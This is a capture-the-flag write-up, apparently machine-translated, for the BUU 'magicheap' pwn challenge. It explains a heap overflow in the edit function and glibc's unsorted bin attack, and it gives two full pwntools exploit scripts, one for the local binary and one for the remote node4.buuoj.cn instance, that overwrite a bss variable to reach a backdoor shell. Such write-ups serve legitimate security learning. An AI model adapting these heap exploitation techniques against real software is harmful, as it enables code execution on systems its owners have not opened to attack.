write up -- Buu magicheap

brief introduction

buu on the problem, focus on the practice of heap problem-solving ideas.

The attachment is a 64 bit small end executable program

Let's take a direct ida analysis



This is the specific logic of the main function. It is a very obvious menu topic. Generally, first look at the option of applying for heap blocks, and then look at the option of free heap blocks.

Let's first take a look at the create option for applying for heap blocks_ heap()

It can be seen that except that there is no limit on the size of the application heap, others are reasonable.

Let's look at the free heap block option delete_heap()

It can be clearly seen that after the function releases the space, the pointer is also destroyed, that is, there are no vulnerabilities to exploit.

Then we can only look again to see if there are other vulnerabilities. There is only the option of editing function_ heap()

You can see that we can input the size of the data to be written to the chunk by ourselves. This is an accident. In this way, we can overwrite the size bits of other chunks and realize Overlapping.

In addition to this vulnerability, I also found that this program has a back door


To tell you the truth, this is extremely uncommon in the heap problem, and the back door function is also useful in the main function.


You can see that although the back door function is also used in the main function, it is conditional. Our input is 4869, and magic is greater than 0x1305. Magic is a space on the bss segment


The basic logic and vulnerability points of such programs are basically analyzed. The next step is the idea of constructing attacks.

Attack ideas

First, we can construct overlapping heap blocks, write magic into the fd pointer of the unsorted bin, then apply to the magic space through another application, and then write a value greater than 0x1305 to this space, so that we can directly get the shell by entering 4869.


After we applied for chunk1, we directly free it, and then use the vulnerability in edit to modify the data in chunk1. In this way, we write the magic in the bss segment into the fd pointer of chunk1.

In this way, applying for a space of 0x90 twice can apply for a heap block with magic as the header, and the target can be achieved by writing a value greater than 0x1305 to the header of the heap block.

Call local exp

from pwn import*

io = process("./magicheap")

#io = remote("node4.buuoj.cn", 29376)*

context.arch = "amd64"

context.log_level = "debug"

bss_data_addr = 0x00000000006020A0

def add(size, content):

  io.recvuntil("choice :")

  io.sendline("1")

  io.recvuntil("Heap : ")

  io.sendline(str(size))

  io.recvuntil("heap:")

  io.sendline(content)


def edit(index, content):

  io.recvuntil("choice :")

  io.sendline("2")

  io.recvuntil("Index :")

  io.sendline(str(index))

  io.recvuntil("Heap : ")

  io.sendline(str(len(content)))

  io.recvuntil("heap : ")

  io.sendline(content)



def delete(index):

  io.recvuntil("choice :")

  io.sendline("3")

  io.recvuntil("Index :")

  io.sendline(str(index))

    
add(0x30, "aaaa")  *# chunk0*

add(0x90, "bbbb")  *# chunk1*

add(0x10, "cccc")  *# chunk2*

delete(1)

edit(0, p64(0)*6+p64(0x40)+p64(0xa1)+p64(bss_data_addr))

add(0x90, "aaaa")

add(0x90, "dddd")

io.sendlineafter(":", "4869")

io.interactive()

problem

I wrote the above exp through analysis and debugging, but I wrote it according to the local environment, so I can get through the local. There was a problem when I called the remote. I found that the script that can run through the local failed to run remotely.

Local:

long-range:

solve

After an afternoon's study and debugging, I finally understood the problem. The remote vulnerability of this problem is called unsorted bin attack, which is also closely related to the unsorted bin of glibc's heap management mechanism.

The precondition for the use of unsettled bin attack is to control the bk pointer of unsettled bin chunk.

The effect of Unsorted Bin Attack is to modify any address value to a large value.

stay glibc/malloc/malloc.c Medium_ int_malloc has a piece of code that writes the location of BCK - > FD to the location of this unsorted bin when taking out an unsorted bin.

          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

In other words, if we control the value of bk, we can unsorted_chunks (av) writes to any address.

Attack process


In the initial state

Both fd and bk of the unsorted bin point to the unsorted bin itself.

Execute free(p)

Since the released chunk size does not fall within the fast bin range, it will be put into the unsorted bin first.

Modify p[1]

After modification, the bk pointer of the original p in the unsorted bin will point to the forged chunk at target addr-16, that is, the Target Value is at fd of the forged chunk.

Re apply for this chunk

        while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
            bck = victim->bk;
            if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
                __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
                malloc_printerr(check_action, "malloc(): memory corruption",
                                chunk2mem(victim), av);
            size = chunksize(victim);

            /*
               If a small request, try to use last remainder if it is the
               only chunk in unsorted bin.  This helps promote locality for
               runs of consecutive small requests. This is the only
               exception to best-fit, and applies only when there is
               no exact fit for a small chunk.
             */
            /* Obviously, bck is modified and does not meet the requirements here*/
            if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
                victim == av->last_remainder &&
                (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
                ....
            }

            /* remove from unsorted list */
            unsorted_chunks(av)->bk = bck;
            bck->fd                 = unsorted_chunks(av);

Above we only look at bck == unsorted_chunks(av) can be used to judge whether the condition is No. the last two pieces of code will be executed, which points the fd pointer of bck to a maximum value

  • victim = unsorted_chunks(av)->bk=p
  • bck = victim->bk=p->bk = target addr-16
  • unsorted_chunks(av)->bk = bck=target addr-16
  • bck->fd = *(target addr -16+16) = unsorted_chunks(av);

After the unsorted bin attack attack, we can change magic to a maximum value, so that we can directly enter 4869 to get the shell without considering this judgment (if ((unsigned _int64) Magic < = 0x1305)).

The reason why this method works remotely is that the remote libc environment is 2.23, while my local environment is 2.27. With the Tcache mechanism, the chunk s released by me will be put into Tcache instead of unsorted bin. In this way, the mechanism of unsorted bin cannot be triggered, so we can't attack, so we can't get the shell.

Call remote exp

from pwn import*
#io = process("./magicheap")
io = remote("node4.buuoj.cn", 27434)
context.arch = "amd64"
context.log_level = "debug"

bss_data_addr = 0x00000000006020A0


def add(size, content):
    io.recvuntil("choice :")
    io.sendline("1")
    io.recvuntil("Heap : ")
    io.sendline(str(size))
    io.recvuntil("heap:")
    io.sendline(content)

def edit(index, content):
    io.recvuntil("choice :")
    io.sendline("2")
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Heap : ")
    io.sendline(str(len(content)))
    io.recvuntil("heap : ")
    io.sendline(content)


def delete(index):
    io.recvuntil("choice :")
    io.sendline("3")
    io.recvuntil("Index :")
    io.sendline(str(index))


add(0x30, "aaaa")  # chunk0
add(0x90, "bbbb")  # chunk1
add(0x10, "cccc")  # chunk2
delete(1)

edit(0, p64(0)*6+p64(0x40)+p64(0xa1)+p64(0)+p64(bss_data_addr-0x10))
add(0x90, "1")

io.sendlineafter(":", "4869")
io.interactive()

Tags: CTF

Posted on Sat, 30 Oct 2021 11:03:18 -0400 by next